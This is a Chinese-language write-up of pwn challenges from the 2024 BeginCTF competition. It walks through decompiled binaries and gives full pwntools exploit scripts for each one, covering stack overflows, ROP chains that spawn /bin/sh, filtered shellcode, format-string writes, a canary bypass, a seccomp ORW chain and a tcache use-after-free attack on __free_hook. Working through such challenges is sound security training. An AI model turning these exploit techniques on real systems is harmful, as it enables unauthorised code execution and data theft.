2024beginctf-pwn


one_byte

检查保护,开了地址随机化,没开canary

[*] '/home/starrysky/beginctf/one_byte/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

查看程序,发现可以溢出一字节,也对应了题目的one-byte,程序会打开flag文件并且输出一字节,要读出flag必然需要printf,所以覆盖返回地址低位到printf处即可

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[8]; // [rsp+7h] [rbp-9h] BYREF
  char buf; // [rsp+Fh] [rbp-1h] BYREF

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts("Welcome to beginctf!");
  open("flag", 0);
  read(3, &buf, 1uLL);
  printf("Here is your gift: %c\n", (unsigned int)buf);
  puts("Are you satisfied with the result?");
  read(0, v4, 0x12uLL);
  return 0;
}

exp如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')  #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('101.32.220.189',31141)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

flag = ''

for i in range(80):
    r.recvuntil('Here is your gift: ')
    flag += r.recv(1).decode()
    r.sendafter(b'with the result?', b'a' * 0x11 + b'\x6d')

li(flag)

r.interactive()

gift_rop

打开程序,发现是静态编译的c,所以可以通过ropgadget直接获取ropchain,指令

ROPgadget --binary  ./pwn --ropchain

执行指令之后会返回很多gadget地址以及一段现成的ropchain,如下

from struct import pack

# Padding goes here
p = b''

p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000448077) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a4f5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d1d0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a4f5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f2f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000047f20b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
	p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000043d1d0) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000401ce4) # syscall

这段ropchain是控制返回地址之后执行的内容,由于python语法格式,要把p +=前面的多余空格去掉,这段代码发过去会报错,因为最后一段重复执行add rax,1,长度太长了,所以就需要从返回的gadget中找到可替代的gadget,格式就是将gadget地址放在Q后面。execve的系统调用号在64位中是59,所以最后一段的目的就是把rax加到59,但是返回的gadget太多,可以用grep筛选一下

ROPgadget --binary  ./pwn --ropchain | grep 'rax'

找到以下两条gadget,用这两条代替add rax, 1凑到59

0x0000000000471267 : add rax, 2 ; ret
0x0000000000471280 : add rax, 3 ; ret

exp如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('101.32.220.189', 32151)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

'''
bin_sh = 0x4C50F0
pop_rdi_ret = 0x0000000000401f2f
p = p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
'''

from struct import pack

# Padding goes here
p = b''

p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000448077) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a4f5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d1d0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a4f5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f2f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000047f20b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000043d1d0) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471267) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000401ce4) # syscall

r.sendlineafter(b'This is a fake(real) checkin problem.', b'a' * 0x28 + p)

r.interactive()

由于程序中有close

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[32]; // [rsp+0h] [rbp-20h] BYREF

  init(argc, argv, envp);
  puts((__int64)"Welcome to beginCTF!");
  puts((__int64)"This is a fake(real) checkin problem.");
  read(0LL, v4, 512LL);
  close(1LL);
  close(2LL);
  return 0;
}

所以getshell以后还需要重定向标准输出,输入exec 1>&0即可

exec

  1. 代替shell执行命令,区别是shell执行完之后会回到shell,而exec会直接退出。
  2. 文件重定向,也就是exec 1>&0这样将文件描述符为1的文件重定向到0

标准输出(close(1))和标准错误(close(2)),有shell但获得不了输出,可以通过exec 1>&0重定向

unhappy

这题就是写shellcode,但是shellcode里不能含有HAPYhapy

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *addr; // [rsp+10h] [rbp-10h]

  addr = mmap((void *)0xFFF00000LL, 0x1000uLL, 7, 34, -1, 0LL);
  if ( addr == (void *)-1LL )
  {
    perror("mmap failed");
    return 1;
  }
  else
  {
    read(0, addr, 0x100uLL);
    check(addr);
    ((void (*)(void))addr)();
    if ( munmap(addr, 0x1000uLL) == -1 )
    {
      perror("munmap failed");
      return 1;
    }
    else
    {
      return 0;
    }
  }
}
__int64 __fastcall check(__int64 a1)
{
  __int64 result; // rax
  char v2; // [rsp+1Bh] [rbp-5h]
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 255; ++i )
  {
    result = *(unsigned __int8 *)(i + a1);
    v2 = *(_BYTE *)(i + a1);
    if ( v2 == 'h' || v2 == 'a' || v2 == 'p' || v2 == 'y' || v2 == 'H' || v2 == 'A' || v2 == 'P' || v2 == 'Y' )
      exit(-1);
  }
  return result;
}

推荐一个网站https://shell-storm.org/online/Online-Assembler-and-Disassembler/

要在限制下写的话可以利用subadd去凑出要实现的代码,比如add rdi,0x61,可以写成add rdi, 0x60 add rdi,0x1,但是这题有一个简便的方法就是输入shellcode来执行read,通过syscall调用的read就没有了check的限制,但是第二次输入需要先sleep停顿一下

先试着用execve(’/bin/sh’, 0,0)getshell

add edi, 0x30
mov dword ptr [edi], 0x6e69622f
add edi, 0x4
mov dword ptr [edi], 0x58732f2f
add dword ptr [edi], 0x10000000
sub edi,0x4
mov esi, 0
mov edx, 0
mov eax,59
syscall

打到远程会发现没有cat flag的权限,但是unhappyrws权限,也就是执行unhappyroot权限,所以把shellcode改成orw即可,直接write会报错,这里也学习到了一个知识点:

ssize_t sendfile(int out_fd,int in_fd,off_t* offset,size_t count); sendfile函数在两个文件描述符之间直接传递数据(完全在内核中操作),从而避免了内核缓冲区和用户缓冲区之间的数据拷贝,效率很高,这被称为零拷贝

最终exp如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')  #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('101.32.220.189',31276)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

shellcode = asm(shellcraft.read(0, 'rsi', 0x300))
r.sendline(shellcode)
shellcode = b'\x90' * len(shellcode) + asm(shellcraft.open('./flag', 'O_RDWR', 0))
shellcode += asm(shellcraft.sendfile(1,3,0,0x50))
sleep(10)
r.sendline(shellcode)

r.interactive()

ezpwn

test command不能用catsh(官方wp指出test command对指令过滤不严,也可以利用test command),test filename不能输入flagteat data功能是输入一个index,向数组该index处输入一个字符,而程序中有shell函数,所以调试一下计算返回地址到该数组之间的距离作为index,把返回地址地位改成shell函数低位即可,需要注意的是输入格式,行末要加回车不然会覆盖成回车

unsigned __int64 main_loop()
{
  ...
        case 1:
          puts("Please input index.");
          __isoc99_scanf("%d", &v2);
          puts("please input value");
          v1 = getchar();
          getchar();
          s[v2] = v1;
          break;
    ...
}

exp如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')  #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('101.32.220.189', 31180)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

gift = 0x1849

r.sendlineafter(b'Input your choice.', b'1\n')
r.sendlineafter(b'Please input index.', str(0x228) + '\n')
r.sendlineafter(b'please input value', b'\x51')
r.sendlineafter(b'Input your choice.', b'4')

r.interactive()

no_money

格式化字符串,但是禁用$,一般用$定位,本题中也学到一个知识点:’%p’ * n + ‘%hn’ = ‘%n$hn’,利用这一点,先泄露程序基址加上shell地址最后改返回地址低位为shell地址即可

from pwn import *

context(arch='amd64', os='linux', log_level='debug')  #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('101.32.220.189', 31645)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

r.sendlineafter(b'Your payload:', b'%p-%p-%p-%p-%p-%p')

for i in range(6):
    r.recvuntil(b'0x')
code = int(r.recv(12), 16) - 0x40
target = 0x404C + code

p = b'%255c' + b'%p' * 16 + b'%hhn'
p = p.ljust(0x40, b'a') + p64(target) * 0x60
r.sendlineafter(b'payload:', p)

r.interactive()

cat

开了canary但是没开pie

checksec pwn        
[*] '/home/starrysky/beginctf/cat/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序中有后门函数,main中向bss段两个变量输入数据,vul中向栈中输入数据

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
  puts("read:");
  read(0, read1, 0x100uLL);
  puts("read:");
  read(0, read2, 0x100uLL);
  vul(read1, read2);
  return 0;
}

unsigned __int64 __fastcall vul(const char *read1, const char *read2)
{
  __int64 read3[2]; // [rsp+10h] [rbp-40h] BYREF
  char dest[8]; // [rsp+20h] [rbp-30h] BYREF
  __int64 v5; // [rsp+28h] [rbp-28h]
  char v6[8]; // [rsp+30h] [rbp-20h] BYREF
  __int64 v7; // [rsp+38h] [rbp-18h]
  unsigned __int64 v8; // [rsp+48h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  read3[0] = 0LL;
  read3[1] = 0LL;
  *(_QWORD *)dest = 0LL;
  v5 = 0LL;
  *(_QWORD *)v6 = 0LL;
  v7 = 0LL;
  puts("read:");
  read(0, read3, 0x100uLL);
  strcat(dest, read1);
  strcpy(v6, read2);
  return v8 - __readfsqword(0x28u);
}

重点就是绕过canary,这里学到一个知识点:strcat会从第一个\x00开始拼接,strcpy会在末尾写\x00,查看栈中数据

pwndbg> stack
00:0000│ rsp     0x7fffffffde00 —▸ 0x4041a0 (cx) ◂— 0xa616161 /* 'aaa\n' */
01:0008│         0x7fffffffde08 —▸ 0x4040a0 (bx) ◂— 0xa616161 /* 'aaa\n' */
02:0010│         0x7fffffffde10 ◂— 0xa616161 /* 'aaa\n' */
03:0018│         0x7fffffffde18 ◂— 0x0
... ↓            4 skipped
pwndbg> 
08:0040│     0x7fffffffde40 —▸ 0x7fffffffdf78 —▸ 0x7fffffffe311 ◂— '/home/starrysky/beginctf/cat/pwn'
09:0048│     0x7fffffffde48 ◂— 0x40934e0df3212f00
0a:0050│ rbp 0x7fffffffde50 —▸ 0x7fffffffde60 ◂— 0x1
0b:0058│     0x7fffffffde58 —▸ 0x401381 (main+183) ◂— mov eax, 0

利用:read3覆盖掉dest到canary末尾的\x00strcat拼接会从canary之后开始拼接,最后利用strcpycanary末尾恢复成\x00

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')  #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('101.32.220.189', 30188)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

cat = 0x4011FE
r.sendafter(b'read:', b'a' * 2 + p64(cat))
r.sendafter(b'read:', b'B' * 0x18)
r.sendafter(b'read:', b'C' * 0x39)

r.interactive()

aladdin

非常…痛苦的一题,本地和远程的偏移竟然不一样…用不了oggbss段上的chance=4,只能利用三次,所以这三次要先把chance改掉

while ( --chance )
  {
    printf("your %d wish:\n", (unsigned int)chance);
    memset(wish, 0, sizeof(wish));
    read(0, wish, 0x100uLL);
    if ( strstr(wish, "one more wish") )
    {
      puts("no way!");
      break;
    }
    printf(wish);
  }
  printf("The wonderful lamp is broken");

查看栈结构,利用这几个地址来泄露一些需要的值:code_base、stack、libc_base

pwndbg> stack
00:0000│ rsp 0x7fffffffdd80 ◂— 0x7ffff7fc0005
01:00080x7fffffffdd88 —▸ 0x7fffffffdd90 ◂— 0x20 /* ' ' */
02:00100x7fffffffdd90 ◂— 0x20 /* ' ' */
03:00180x7fffffffdd98 ◂— 0x3b00010015
04:00200x7fffffffdda0 ◂— 0x10035 /* '5' */
05:00280x7fffffffdda8 ◂— 0x5000000000006
06:00300x7fffffffddb0 ◂— 0x7fff000000000006
07:00380x7fffffffddb8 ◂— 0x163fe5f2dcc3a00
pwndbg> 
08:0040│ rbp 0x7fffffffddc0 ◂— 0x1
09:00480x7fffffffddc8 —▸ 0x7ffff7dbcd90 ◂— mov edi, eax
0a:00500x7fffffffddd0 ◂— 0x0
0b:00580x7fffffffddd8 —▸ 0x555555555229 (main) ◂— endbr64 
0c:00600x7fffffffdde0 ◂— 0x1ffffdec0
0d:00680x7fffffffdde8 —▸ 0x7fffffffded8 —▸ 0x7fffffffe260 ◂— '/home/starrysky/game_2024/beginctf/aladdin/pwn'
0e:00700x7fffffffddf0 ◂— 0x0
0f:00780x7fffffffddf8 ◂— 0xa251b96a3bc40170
pwndbg> 
10:00800x7fffffffde00 —▸ 0x7fffffffded8 —▸ 0x7fffffffe260 ◂— '/home/starrysky/game_2024/beginctf/aladdin/pwn'
11:00880x7fffffffde08 —▸ 0x555555555229 (main) ◂— endbr64 
12:00900x7fffffffde10 —▸ 0x555555557d88 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5555555551e0 (__do_global_dtors_aux) ◂— endbr64 
13:00980x7fffffffde18 —▸ 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
14:00a0│  0x7fffffffde20 ◂— 0x5dae469580660170
15:00a8│  0x7fffffffde28 ◂— 0x5dae56dda14e0170
16:00b0│  0x7fffffffde30 ◂— 0x7fff00000000
17:00b8│  0x7fffffffde38 ◂— 0x0
pwndbg> 
18:00c0│  0x7fffffffde40 ◂— 0x0
...2 skipped
1b:00d8│  0x7fffffffde58 ◂— 0x163fe5f2dcc3a00
1c:00e00x7fffffffde60 ◂— 0x0
1d:00e80x7fffffffde68 —▸ 0x7ffff7dbce40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1ef159]
1e:00f00x7fffffffde70 —▸ 0x7fffffffdee8 —▸ 0x7fffffffe28f ◂— 'GJS_DEBUG_TOPICS=JS ERROR;JS LOG'
1f:00f80x7fffffffde78 —▸ 0x555555557d88 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5555555551e0 (__do_global_dtors_aux) ◂— endbr64 
pwndbg> fmtarg 0x7fffffffddd8
The index of format argument : 17 ("\%16$p")
pwndbg> fmtarg 0x7fffffffde00
The index of format argument : 22 ("\%21$p")
pwndbg> fmtarg 0x7fffffffde68
The index of format argument : 35 ("\%34$p")

输入的wishbss段的,也就是非栈上的格式化字符串,需要用栈作为跳板去改其他地方的数据,本题的利用思路就是第一次输入用于泄露地址,第二次输入用来设置跳板,第三次输入用来改printf返回地址到val中的输入,继续输入改chance值,但也不能改太大,用到的链如下

0x7fffffffdde8 —▸ 0x7fffffffded8 —▸ 0x7fffffffe260 ◂— '/home/starrysky/game_2024/beginctf/aladdin/pwn'
0x7fffffffde70 —▸ 0x7fffffffdee8 —▸ 0x7fffffffe28f ◂— 'GJS_DEBUG_TOPICS=JS ERROR;JS LOG'

pwndbg> fmtarg 0x7fffffffdde8
The index of format argument : 19 ("\%18$p")
pwndbg> fmtarg 0x7fffffffde70
The index of format argument : 36 ("\%35$p")

修改成功后就可以无限利用fmt,但这题有沙箱,只能orw

aladdin  seccomp-tools dump ./pwn                 
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0003
 0002: 0x35 0x01 0x00 0x00000000  if (A >= 0x0) goto 0004
 0003: 0x06 0x00 0x00 0x00050000  return ERRNO(0)
 0004: 0x06 0x00 0x00 0x7fff0000  return ALLOW

但是把栈直接改orw比较麻烦,所以可以在返回地址先构造read,然后用readrop链实现orw

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('101.32.220.189', 30879)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def pay(target, value):
    tar = target & 0xffff
    for i in range(3):
        val = value & 0xffff
        value = value >> 16
        p = '%' + str(tar) + 'c%36$hn'
        r.sendafter(b'wish:', p)
        sleep(1)
        p = '%' + str(val) + 'c%52$hn'
        r.sendafter(b'wish:', p)
        sleep(1)
        tar += 0x2

p = b'%17$p%22$p%35$p'
r.sendafter(b'wish:', p)

r.recvuntil(b'0x')
code = int(r.recv(12), 16) - 0x1229

r.recvuntil(b'0x')
stack = int(r.recv(12), 16)

r.recvuntil(b'0x')
libc_base = int(r.recv(12), 16) - 0x29e40
libc = ELF('./2.35/libc.so.6')

target = (stack - 0x160) & 0xffff
target1 = (stack - 0xd0) & 0xffff

if target1 > target:
    p = '%' + str(target) + 'c%19$hn' + '%' + str(target1 - target) + 'c%36$hn'
else:
    p = '%' + str(target) + 'c%19$hn' + '%' + str(0x10000 + target1 - target) + 'c%36$hn'
r.sendafter(b'wish:', p)

addr = (0x137F + code) & 0xffff
chance = (0x4010 + code) & 0xffff

if chance > addr:
    p = '%' + str(addr) + 'c%49$hn' + '%' + str(chance - addr) + 'c%52$hn'
else:
    p = '%' + str(addr) + 'c%49$hn' + '%' + str(0x10000 + chance - addr) + 'c%52$hn'
sleep(1)
r.sendafter(b'wish:', p)

p = '%' + str(0x30) + 'c%23$hn'
sleep(1)
r.sendline(p)

pop_rdi_ret = 0x000000000002a3e5 + libc_base
pop_rsi_ret = 0x000000000002be51 + libc_base
pop_rdx_ret = 0x00000000000796a2 + libc_base

stack -= 0x10
ret = stack - 0x110 + 0x38 + 0x10
read = libc.sym['read'] + libc_base

pay(stack - 0x100, pop_rdi_ret)
pay(stack - 0x100 + 0x10, pop_rsi_ret)
pay(stack - 0x100 + 0x18, ret)
pay(stack - 0x100 + 0x20, pop_rdx_ret)
pay(stack - 0x100 + 0x28, 0x300)
pay(stack - 0x100 + 0x30, read)

p = '%' + str((stack - 0x100 + 0x30 + 6) & 0xffff) + 'c%36$hn'
r.sendafter(b'wish:', p)
sleep(1)
p = '%' + str(0x0) + 'c%52$hn'
r.sendafter(b'wish:', p)
sleep(1)
p = '%' + str((stack - 0x100 + 0x30 + 5) & 0xffff) + 'c%36$hn'
r.sendafter(b'wish:', p)
sleep(1)
p = '%' + str(0x7f) + 'c%52$hn'
r.sendafter(b'wish:', p)
sleep(1)

for i in range(7):
    r.sendafter(b'wish:', b'a')

open_addr = libc.sym['open'] + libc_base
write_addr = libc.sym['write'] + libc_base
pop_rax_ret = 0x0000000000045eb0 + libc_base
syscall = 0x0000000000029db4 + libc_base
orw_rop_addr = stack - 0x100 + 0x18 + 0x10

orw_rop  = p64(pop_rdi_ret) + p64(orw_rop_addr+0xb8) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(open_addr)
orw_rop += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(orw_rop_addr+0xb8) + p64(pop_rdx_ret) + p64(0x100) + p64(read)
orw_rop += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(orw_rop_addr+0xb8) + p64(pop_rdx_ret) + p64(0x100) + p64(write_addr)
orw_rop += b'flag'.ljust(0x10,b'\x00')
r.sendafter(b'broken', orw_rop)

r.interactive()

zeheap

存在uaf漏洞,但是editshow受到mark的限制

unsigned __int64 delete()
{
  unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("num:");
  __isoc99_scanf("%d", &index);
  if ( index <= 0xF )
  {
    free(heap_ptr[index]);
    mark[index] = 0;
  }
  return __readfsqword(0x28u) ^ v2;
}

unsorted bin中的堆重复释放到tcache中,就可以利用这个堆泄露libc地址,并且将tcache中的堆和unsorted bin中的堆都申请出来就可以造成堆块复用,其中一个释放到tcache再用另一个改fdfree_hook最后申请出来改成system

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 26870)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(num):
    r.sendlineafter(b'choose:', b'1')
    r.sendlineafter(b'num:', str(num))

def edit(num, content):
    r.sendlineafter(b'choose:', b'2')
    r.sendlineafter(b'num:', str(num))
    r.sendlineafter(b'read:', content)

def show(num):
    r.sendlineafter(b'choose:', b'3')
    r.sendlineafter(b'num:', str(num))

def delete(num):
    r.sendlineafter(b'choose:', b'4')
    r.sendlineafter(b'num:', str(num))

for i in range(10):
    add(i)
for i in range(9):
    delete(i)

add(10)
delete(8)

for i in range(8):
    add(i)

show(0)

libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
libc = ELF('./libc-2.31.so')
system = libc.sym['system'] + libc_base
free_hook = libc_base + libc.sym['__free_hook']

add(8)

delete(1)
delete(8)

edit(0, p64(free_hook))

add(11)
edit(11, b'/bin/sh\x00')

add(12)
edit(12, p64(system))

delete(11)

r.interactive()

  目录